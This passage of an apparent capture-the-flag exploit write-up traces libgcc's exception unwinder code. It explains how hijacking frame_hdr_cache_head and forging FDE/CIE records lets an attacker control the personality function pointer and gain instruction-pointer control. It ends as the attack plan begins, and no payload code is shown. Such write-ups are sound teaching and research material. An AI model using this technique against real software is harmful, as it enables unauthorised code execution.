&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...
      /* Find data-&amp;amp;gt;pc in shared library cache.
         Set load_base, p_eh_frame_hdr and p_dynamic
         plus match from the cache and goto
         &quot;Read .eh_frame_hdr header.&quot; below.  */

      struct frame_hdr_cache_element *cache_entry;

      for (cache_entry = frame_hdr_cache_head;
           cache_entry;
           cache_entry = cache_entry-&amp;amp;gt;link)
        {
          if (data-&amp;amp;gt;pc &amp;amp;gt;= cache_entry-&amp;amp;gt;pc_low
          &amp;amp;&amp;amp; data-&amp;amp;gt;pc &amp;amp;lt; cache_entry-&amp;amp;gt;pc_high)
        {
          load_base = cache_entry-&amp;amp;gt;load_base;
          p_eh_frame_hdr = cache_entry-&amp;amp;gt;p_eh_frame_hdr;
          p_dynamic = cache_entry-&amp;amp;gt;p_dynamic;

          /* And move the entry we're using to the head.  */
          if (cache_entry != frame_hdr_cache_head)
            {
              prev_cache_entry-&amp;amp;gt;link = cache_entry-&amp;amp;gt;link;
              cache_entry-&amp;amp;gt;link = frame_hdr_cache_head;
              frame_hdr_cache_head = cache_entry;
            }
          goto found;
        }
... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; points to the first element of a singly linked list that contains &lt;strong&gt;frame_hdr_cache_element&lt;/strong&gt;(s).&lt;/p&gt;

&lt;p&gt;The code iterates through the list and finds the entry for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;pc&lt;/code&gt; in cache. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;pc&lt;/code&gt; is the program counter of the frame we are trying to handle the exception for.&lt;/p&gt;

&lt;p&gt;This cache is filled in as the program discovers exception handler frames (eh_frame).&lt;/p&gt;

&lt;p&gt;The following is the struct definition for &lt;strong&gt;frame_hdr_cache_element&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;static struct frame_hdr_cache_element
{
  _Unwind_Ptr pc_low;
  _Unwind_Ptr pc_high;
  _Unwind_Ptr load_base;
  const ElfW(Phdr) *p_eh_frame_hdr;
  const ElfW(Phdr) *p_dynamic;
  struct frame_hdr_cache_element *link;
} frame_hdr_cache[FRAME_HDR_CACHE_SIZE];
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, if we control where &lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; points to, we can also construct/control the elements inside. Before we dive into what happens when we find an element in the cache and &lt;strong&gt;goto found&lt;/strong&gt;, let’s step back for a minute and see if we can even get to here and what that allows us to do.&lt;/p&gt;

&lt;p&gt;The function we just looked at (&lt;strong&gt;_Unwind_IteratePhdrCallback&lt;/strong&gt;) is called from &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt; in &lt;em&gt;unwind-dw2-fde-dip.c&lt;/em&gt;.
Then, &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt; function is called from &lt;strong&gt;uw_frame_state_for&lt;/strong&gt; function in &lt;em&gt;unwind-dw2.c&lt;/em&gt;.
&lt;strong&gt;uw_frame_state_for&lt;/strong&gt; function is called from &lt;strong&gt;_Unwind_RaiseException&lt;/strong&gt; function in &lt;em&gt;unwind.inc&lt;/em&gt;, which provides an interface to raise an exception given an exception object.&lt;/p&gt;

&lt;p&gt;Where does &lt;strong&gt;_Unwind_RaiseException&lt;/strong&gt; get called, then?
It gets called by &lt;strong&gt;__cxa_throw&lt;/strong&gt;, and if you remember, our SIGSEGV_handler invokes this function to raise an exception.&lt;/p&gt;

&lt;p&gt;Alright. We now have confirmed that we can get to that code by causing the binary to throw an exception and letting libgcc unwinds/handles the exception.&lt;/p&gt;

&lt;p&gt;But is there anything interesting in this code path such that we can give us EIP control? Yes.&lt;/p&gt;

&lt;p&gt;Let’s review &lt;strong&gt;_Unwind_RaiseException&lt;/strong&gt; a little bit:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...
/* Raise an exception, passing along the given exception object.  */

_Unwind_Reason_Code LIBGCC2_UNWIND_ATTRIBUTE
_Unwind_RaiseException(struct _Unwind_Exception *exc)
{
  struct _Unwind_Context this_context, cur_context;
  _Unwind_Reason_Code code;

  /* Set up this_context to describe the current stack frame.  */
  uw_init_context (&amp;amp;this_context);
  cur_context = this_context;

  /* Phase 1: Search.  Unwind the stack, calling the personality routine
     with the _UA_SEARCH_PHASE flag set.  Do not modify the stack yet.  */
  while (1)
    {
      _Unwind_FrameState fs;

      /* Set up fs to describe the FDE for the caller of cur_context.  The
         first time through the loop, that means __cxa_throw.  */
      code = uw_frame_state_for (&amp;amp;cur_context, &amp;amp;fs);

      if (code == _URC_END_OF_STACK)
        /* Hit end of stack with no handler found.  */
        return _URC_END_OF_STACK;

      if (code != _URC_NO_REASON)
        /* Some error encountered.  Usually the unwinder doesn't
           diagnose these and merely crashes.  */
        return _URC_FATAL_PHASE1_ERROR;

      /* Unwind successful.  Run the personality routine, if any.  */
      if (fs.personality)
        {
          code = (*fs.personality) (1, _UA_SEARCH_PHASE, exc-&amp;amp;gt;exception_class,
                                    exc, &amp;amp;cur_context);
          if (code == _URC_HANDLER_FOUND)
            break;
          else if (code != _URC_CONTINUE_UNWIND)
            return _URC_FATAL_PHASE1_ERROR;
        }

      /* Update cur_context to describe the same frame as fs.  */
      uw_update_context (&amp;amp;cur_context, &amp;amp;fs);
    }

  /* Indicate to _Unwind_Resume and associated subroutines that this
     is not a forced unwind.  Further, note where we found a handler.  */
  exc-&amp;amp;gt;private_1 = 0;
  exc-&amp;amp;gt;private_2 = uw_identify_context (&amp;amp;cur_context);

  cur_context = this_context;
  code = _Unwind_RaiseException_Phase2 (exc, &amp;amp;cur_context);
  if (code != _URC_INSTALL_CONTEXT)
    return code;

  uw_install_context (&amp;amp;this_context, &amp;amp;cur_context);
}
... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice the highlighted lines. What do you see?&lt;/p&gt;

&lt;p&gt;A function pointer getting called! And we &lt;strong&gt;*may*&lt;/strong&gt; be able to control &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs.personality&lt;/code&gt;.
Let’s find out!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...
/* Given the _Unwind_Context CONTEXT for a stack frame, look up the FDE for
   its caller and decode it into FS.  This function also sets the
   args_size and lsda members of CONTEXT, as they are really information
   about the caller's frame.  */

static _Unwind_Reason_Code
uw_frame_state_for (struct _Unwind_Context *context, _Unwind_FrameState *fs)
{
  const struct dwarf_fde *fde;
  const struct dwarf_cie *cie;
  const unsigned char *aug, *insn, *end;

  memset (fs, 0, sizeof (*fs));
  context-&amp;amp;gt;args_size = 0;
  context-&amp;amp;gt;lsda = 0;

  if (context-&amp;amp;gt;ra == 0)
    return _URC_END_OF_STACK;

  fde = _Unwind_Find_FDE (context-&amp;amp;gt;ra + _Unwind_IsSignalFrame (context) - 1,
                          &amp;amp;context-&amp;amp;gt;bases);
  if (fde == NULL)
    {
#ifdef MD_FALLBACK_FRAME_STATE_FOR
      /* Couldn't find frame unwind info for this function.  Try a
         target-specific fallback mechanism.  This will necessarily
         not provide a personality routine or LSDA.  */
      return MD_FALLBACK_FRAME_STATE_FOR (context, fs);
#else
      return _URC_END_OF_STACK;
#endif
    }

  fs-&amp;amp;gt;pc = context-&amp;amp;gt;bases.func;

  cie = get_cie (fde);
  insn = extract_cie_info (cie, context, fs);
  if (insn == NULL)
    /* CIE contained unknown augmentation.  */
    return _URC_FATAL_PHASE1_ERROR;

... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Remember that the struct pointer that we are interested in tracing is &lt;strong&gt;fs&lt;/strong&gt; (aka 2nd argument).
Wee see here that &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt; is used to get &lt;strong&gt;fde&lt;/strong&gt; (which is used to get &lt;strong&gt;cie&lt;/strong&gt;), and &lt;strong&gt;extract_cie_info&lt;/strong&gt; takes &lt;strong&gt;cie&lt;/strong&gt; and &lt;strong&gt;fs&lt;/strong&gt; as its first and third argument, respectively.&lt;/p&gt;

&lt;p&gt;So, what happens in &lt;strong&gt;extract_cie_info&lt;/strong&gt;?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...
 378 /* Extract any interesting information from the CIE for the translation
 379    unit F belongs to.  Return a pointer to the byte after the augmentation,
 380    or NULL if we encountered an undecipherable augmentation.  */
 381
 382 static const unsigned char *
 383 extract_cie_info (const struct dwarf_cie *cie, struct _Unwind_Context *context,
 384                   _Unwind_FrameState *fs)
 385 {
 386   const unsigned char *aug = cie-&amp;amp;gt;augmentation;
 387   const unsigned char *p = aug + strlen ((const char *)aug) + 1;
 388   const unsigned char *ret = NULL;
 389   _uleb128_t utmp;
 390   _sleb128_t stmp;
 391
 392   /* g++ v2 &quot;eh&quot; has pointer immediately following augmentation string,
 393      so it must be handled first.  */
 394   if (aug[0] == 'e' &amp;amp;&amp;amp; aug[1] == 'h')
 395     {
 396       fs-&amp;amp;gt;eh_ptr = read_pointer (p);
 397       p += sizeof (void *);
 398       aug += 2;
 399     }

... (omitted) ...

 454       /* &quot;P&quot; indicates a personality routine in the CIE augmentation.  */
 455       else if (aug[0] == 'P')
 456         {
 457           _Unwind_Ptr personality;
 458
 459           p = read_encoded_value (context, *p, p + 1, &amp;amp;personality);
 460           fs-&amp;amp;gt;personality = (_Unwind_Personality_Fn) personality;
 461           aug += 1;
 462         }

... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cool.
&lt;strong&gt;extract_cie_info&lt;/strong&gt; parses &lt;strong&gt;cie&lt;/strong&gt; and updates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fs-&amp;gt;personality&lt;/code&gt;. We’ll work out the details later.&lt;/p&gt;

&lt;p&gt;Okay, now, we have to look into &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt; function to find out what it returns (&lt;strong&gt;fde&lt;/strong&gt;) is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...

const fde *
_Unwind_Find_FDE (void *pc, struct dwarf_eh_bases *bases)
{
  struct unw_eh_callback_data data;
  const fde *ret;

  ret = _Unwind_Find_registered_FDE (pc, bases);
  if (ret != NULL)
    return ret;

  data.pc = (_Unwind_Ptr) pc;
  data.tbase = NULL;
  data.dbase = NULL;
  data.func = NULL;
  data.ret = NULL;
  data.check_cache = 1;

  if (dl_iterate_phdr (_Unwind_IteratePhdrCallback, &amp;amp;data) &amp;amp;lt; 0)
    return NULL;

  if (data.ret)
    {
      bases-&amp;amp;gt;tbase = data.tbase;
      bases-&amp;amp;gt;dbase = data.dbase;
      bases-&amp;amp;gt;func = data.func;
    }
  return data.ret;
}

... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As we discussed earlier, &lt;strong&gt;_Unwind_Find_FDE&lt;/strong&gt; calls &lt;strong&gt;_Unwind_IteratePhdrCallback&lt;/strong&gt;, which fills the &lt;strong&gt;data&lt;/strong&gt; struct.
Then, it returns &lt;strong&gt;data.ret&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Whoa. After that chain of functions, we now came back to where we started — &lt;strong&gt;_Unwind_IteratePhdrCallback&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Warning&lt;/strong&gt;: This is a really long function :p&lt;/p&gt;

&lt;p&gt;To show a good idea of the call stack, here’s a diagram:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://www.bpak.org/blog/wp-content/uploads/2014/02/membership_6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Fortunately, we do not have to look at all of its details. As we learned earlier, the cache for &lt;em&gt;eh_frame_hdr&lt;/em&gt; is looked up and the following is performed in case the entry was found:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;... (omitted) ...

309  found:
310
311   if (!p_eh_frame_hdr)
312     return 0;
313
314   /* Read .eh_frame_hdr header.  */
315   hdr = (const struct unw_eh_frame_hdr *)
316     __RELOC_POINTER (p_eh_frame_hdr-&amp;amp;gt;p_vaddr, load_base);
317   if (hdr-&amp;amp;gt;version != 1)
318     return 1;
319

... (omitted) ...

352
353   p = read_encoded_value_with_base (hdr-&amp;amp;gt;eh_frame_ptr_enc,
354                                     base_from_cb_data (hdr-&amp;amp;gt;eh_frame_ptr_enc,
355                                                        data),
356                                     (const unsigned char *) (hdr + 1),
357                                     &amp;amp;eh_frame);
358
359   /* We require here specific table encoding to speed things up.
360      Also, DW_EH_PE_datarel here means using PT_GNU_EH_FRAME start
361      as base, not the processor specific DW_EH_PE_datarel.  */
362   if (hdr-&amp;amp;gt;fde_count_enc != DW_EH_PE_omit
363       &amp;amp;&amp;amp; hdr-&amp;amp;gt;table_enc == (DW_EH_PE_datarel | DW_EH_PE_sdata4))
364     {
365       _Unwind_Ptr fde_count;
366
367       p = read_encoded_value_with_base (hdr-&amp;amp;gt;fde_count_enc,
368                                         base_from_cb_data (hdr-&amp;amp;gt;fde_count_enc,
369                                                            data),
370                                         p, &amp;amp;fde_count);
371       /* Shouldn't happen.  */
372       if (fde_count == 0)
373         return 1;
374       if ((((_Unwind_Ptr) p) &amp;amp; 3) == 0)
375         {
376           struct fde_table {
377             signed initial_loc __attribute__ ((mode (SI)));
378             signed fde __attribute__ ((mode (SI)));
379           };
380           const struct fde_table *table = (const struct fde_table *) p;
381           size_t lo, hi, mid;
382           _Unwind_Ptr data_base = (_Unwind_Ptr) hdr;
383           fde *f;
384           unsigned int f_enc, f_enc_size;
385           _Unwind_Ptr range;
386
387           mid = fde_count - 1;
388           if (data-&amp;amp;gt;pc &amp;amp;lt; table[0].initial_loc + data_base)
389             return 1;
390           else if (data-&amp;amp;gt;pc &amp;amp;lt; table[mid].initial_loc + data_base)
391             {
392               lo = 0;
393               hi = mid;
394
395               while (lo &amp;amp;lt; hi)
396                 {
397                   mid = (lo + hi) / 2;
398                   if (data-&amp;amp;gt;pc &amp;amp;lt; table[mid].initial_loc + data_base)
399                     hi = mid;
400                   else if (data-&amp;amp;gt;pc &amp;amp;gt;= table[mid + 1].initial_loc + data_base)
401                     lo = mid + 1;
402                   else
403                     break;
404                 }
405
406               gcc_assert (lo &amp;amp;lt; hi);
407             }
408
409           f = (fde *) (table[mid].fde + data_base);
410           f_enc = get_fde_encoding (f);
411           f_enc_size = size_of_encoded_value (f_enc);
412           read_encoded_value_with_base (f_enc &amp;amp; 0x0f, 0,
413                                         &amp;amp;f-&amp;amp;gt;pc_begin[f_enc_size], &amp;amp;range);
414           if (data-&amp;amp;gt;pc &amp;amp;lt; table[mid].initial_loc + data_base + range)
415             data-&amp;amp;gt;ret = f;
416           data-&amp;amp;gt;func = (void *) (table[mid].initial_loc + data_base);
417           return 1;
418         }
419     }

... (omitted) ...
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;ret&lt;/code&gt; is set to &lt;strong&gt;f&lt;/strong&gt; on line 415, where &lt;strong&gt;f&lt;/strong&gt; is a FDE pointer found by performing binary search.&lt;/p&gt;

&lt;p&gt;Comments from unwind-dw2-fde.h briefly describes FDE &amp;amp; CIE lookup:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;/* Terminology:
   CIE - Common Information Element
   FDE - Frame Descriptor Element

   There is one per function, and it describes where the function code
   is located, and what the register lifetimes and stack layout are
   within the function.

   The data structures are defined in the DWARF specification, although
   not in a very readable way (see LITERATURE).

   Every time an exception is thrown, the code needs to locate the FDE
   for the current function, and starts to look for exception regions
   from that FDE. This works in a two-level search:
   a) in a linear search, find the shared image (i.e. DLL) containing
      the PC
   b) using the FDE table for that shared object, locate the FDE using
      binary search (which requires the sorting).  */
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s review some of the primitive structs and functions that are used in above code to get a better understanding of what’s going on. We will make references to these as we explain the code later.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;static struct frame_hdr_cache_element
{
  _Unwind_Ptr pc_low;
  _Unwind_Ptr pc_high;
  _Unwind_Ptr load_base;
  const ElfW(Phdr) *p_eh_frame_hdr;
  const ElfW(Phdr) *p_dynamic;
  struct frame_hdr_cache_element *link;
} frame_hdr_cache[FRAME_HDR_CACHE_SIZE];

typedef struct
{
  Elf32_Word    p_type;         /* Segment type */
  Elf32_Off     p_offset;       /* Segment file offset */
  Elf32_Addr    p_vaddr;        /* Segment virtual address */
  Elf32_Addr    p_paddr;        /* Segment physical address */
  Elf32_Word    p_filesz;       /* Segment size in file */
  Elf32_Word    p_memsz;        /* Segment size in memory */
  Elf32_Word    p_flags;        /* Segment flags */
  Elf32_Word    p_align;        /* Segment alignment */
} Elf32_Phdr;

struct unw_eh_frame_hdr
{
  unsigned char version;
  unsigned char eh_frame_ptr_enc;
  unsigned char fde_count_enc;
  unsigned char table_enc;
}

struct dwarf_fde
{
  uword length;
  sword CIE_delta;
  unsigned char pc_begin[];
}

struct dwarf_cie
{
  uword length;
  sword CIE_id;
  ubyte version;
  unsigned char augmentation[];
}

struct fde_table
{
  signed initial_loc __attribute__ ((mode (SI)));
  signed fde __attribute__ ((mode (SI)));
}
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And, these are some functions that are used when parsing data:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;/* Load an encoded value from memory at P.  The value is returned in VAL;
   The function returns P incremented past the value.  BASE is as given
   by base_of_encoded_value for this encoding in the appropriate context.  */

static const unsigned char *
read_encoded_value_with_base (unsigned char encoding, _Unwind_Ptr base,
                  const unsigned char *p, _Unwind_Ptr *val)

/* Like read_encoded_value_with_base, but get the base from the context
   rather than providing it directly.  */

static inline const unsigned char *
read_encoded_value (struct _Unwind_Context *context, unsigned char encoding,
            const unsigned char *p, _Unwind_Ptr *val)

/* Read an unsigned leb128 value from P, store the value in VAL, return
   P incremented past the value.  We assume that a word is large enough to
   hold any value so encoded; if it is smaller than a pointer on some target,
   pointers should not be leb128 encoded on that target.  */

static const unsigned char *
read_uleb128 (const unsigned char *p, _uleb128_t *val)

/* Given an encoding and an _Unwind_Context, return the base to which
   the encoding is relative.  This base may then be passed to
   read_encoded_value_with_base for use when the _Unwind_Context is
   not available.  */

static _Unwind_Ptr
base_of_encoded_value (unsigned char encoding, struct _Unwind_Context *context)
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That was a lot of stuff, but don’t worry about understanding/remembering all of them since we will go over the logic at somewhat high-level.&lt;/p&gt;

&lt;p&gt;When an exception is thrown, the PC is looked up to find a correct FDE for the current function.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;First, they search the shared library cache linked-list (which we control the head pointer).&lt;/li&gt;
  &lt;li&gt;Once the entry is found, they get unw_&lt;em&gt;eh_frame_hdr&lt;/em&gt; (&lt;strong&gt;hdr&lt;/strong&gt; variable) by adding &lt;strong&gt;p_vaddr&lt;/strong&gt; and &lt;strong&gt;load_base&lt;/strong&gt;. Then, they make sure the version of &lt;strong&gt;hdr &lt;/strong&gt;is 1.
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;hdr&lt;/strong&gt; also contains the flags for encoding schemes for &lt;strong&gt;eh_frame_ptr&lt;/strong&gt;, &lt;strong&gt;fde_count&lt;/strong&gt;, and &lt;strong&gt;table&lt;/strong&gt;.&lt;/li&gt;
      &lt;li&gt;Encoding flag is defined in &lt;em&gt;unwind-pe.h&lt;/em&gt;, but important ones are: &lt;strong&gt;DW_EH_PE_pcrel&lt;/strong&gt; (0x10, pc-relative), &lt;strong&gt;DW_EH_PE_absptr&lt;/strong&gt; (0x00, absolute),  &lt;strong&gt;DW_EH_PE_sdata4&lt;/strong&gt; (0x0b, signed 4 byte), &lt;strong&gt;DW_EH_PE_udata4&lt;/strong&gt; (0x03, unsigned 4 byte).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Parse &lt;strong&gt;eh_frame&lt;/strong&gt; and &lt;strong&gt;fde_count&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Perform binary search in &lt;strong&gt;table&lt;/strong&gt; for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;pc&lt;/code&gt;  against &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;table[i].initial_loc + data_base&lt;/code&gt; , where &lt;strong&gt;data_base&lt;/strong&gt; is &lt;strong&gt;hdr&lt;/strong&gt;.&lt;/li&gt;
  &lt;li&gt;When found an element in &lt;strong&gt;table&lt;/strong&gt;, set &lt;strong&gt;f&lt;/strong&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;table[mid].fde + data_base&lt;/code&gt;  (thus, calculating the FDE pointer).&lt;/li&gt;
  &lt;li&gt;Final check is done by parsing the &lt;strong&gt;range&lt;/strong&gt; to ensure that this FDE record covers data-&amp;gt;pc
    (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;table[mid].initial_loc + data_base &amp;lt;= data-&amp;gt;pc &amp;lt; table[mid].initial_loc + data_base + range&lt;/code&gt; )&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data-&amp;gt;ret&lt;/code&gt; is filled with &lt;strong&gt;f&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It’s important to carefully construct a (fake) FDE record since it holds &lt;strong&gt;CIE_delta&lt;/strong&gt; field, which is used to locate the CIE record to be parsed later (for personality function pointer).&lt;/p&gt;

&lt;p&gt;Only piece that we haven’t visited yet is &lt;strong&gt;extract_cie_info&lt;/strong&gt;, but we will visit it as we develop an exploit payload :)&lt;/p&gt;

&lt;h2 id=&quot;exploit-development&quot;&gt;Exploit development&lt;/h2&gt;

&lt;p&gt;Finally, we can start writing some ~evil~ awesome payload to pwn this binary.&lt;/p&gt;

&lt;p&gt;Here’s our plan for the attack:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Overwrite &lt;strong&gt;frame_hdr_cache_head&lt;/strong&gt; (0x402eb118) to point to our &lt;strong&gt;stdin&lt;/strong&gt; buffer (0x40025000 + 0x1c for skipping userid/password/padding)&lt;/li&gt;
  &lt;li&gt;Construct fake structs:
